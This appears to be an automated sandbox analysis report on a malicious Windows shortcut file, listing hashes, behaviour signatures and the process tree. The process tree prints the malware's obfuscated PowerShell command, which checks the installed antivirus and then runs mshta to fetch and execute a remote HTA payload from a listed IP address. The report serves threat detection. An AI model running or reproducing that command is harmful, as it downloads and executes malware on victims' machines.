Analysis

  • max time kernel
    93s
  • max time network
    102s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-09-2024 16:42

General

  • Target

    499528fb822e6cf086e98d9e27067f939ecbf0a3791f701a0a6f9a44ba8864ea.lnk

  • Size

    930KB

  • MD5

    f4369f6826e349a9c6ca4d25ffd0d785

  • SHA1

    6a6c6d2a1f01962110896cab318958322f11eff8

  • SHA256

    499528fb822e6cf086e98d9e27067f939ecbf0a3791f701a0a6f9a44ba8864ea

  • SHA512

    b025ff0810a55fb97c951ee710cd41371b5dc113fa67ebd9bf26a7be6b502df34c3432f2ac92e1bdd7f7079819b3c8fb86a0a1b1a6a4e023e72f906c015cdbb4

  • SSDEEP

    24:8ApHYVKVWP/CW7pF1cI1tMwtwtanwwBm1qCY1dCZTCJCZkrabqh1:8GaDF1zMu4B6IMdCZTCJCZ6ae

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://188.119.112.115/nabu/opituvannya.hta

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\499528fb822e6cf086e98d9e27067f939ecbf0a3791f701a0a6f9a44ba8864ea.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1856
    • C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" $MQHzOex = Get-WmiObject -Namespace 'root\SecurityCenter2' -Class AntiVirusProduct -ComputerName $env:computername;foreach($elcPRnA in $MQHzOex ){if ($elcPRnA.displayName -replace 'Windows Defender', ''){Exit}};\W*\\*2\\\\msh*e '??ht??t?p?://188.119.112.115/nabu/opituvannya.h???t??a'.Replace('?','')
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3556
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" http://188.119.112.115/nabu/opituvannya.hta
        3⤵
        • Blocklisted process makes network request
        PID:5108

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ia12zna4.vse.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3556-2-0x00007FFCB1363000-0x00007FFCB1365000-memory.dmp

    Filesize

    8KB

  • memory/3556-12-0x00000207598D0000-0x00000207598F2000-memory.dmp

    Filesize

    136KB

  • memory/3556-13-0x00007FFCB1360000-0x00007FFCB1E21000-memory.dmp

    Filesize

    10.8MB

  • memory/3556-14-0x00007FFCB1360000-0x00007FFCB1E21000-memory.dmp

    Filesize

    10.8MB

  • memory/3556-17-0x00007FFCB1360000-0x00007FFCB1E21000-memory.dmp

    Filesize

    10.8MB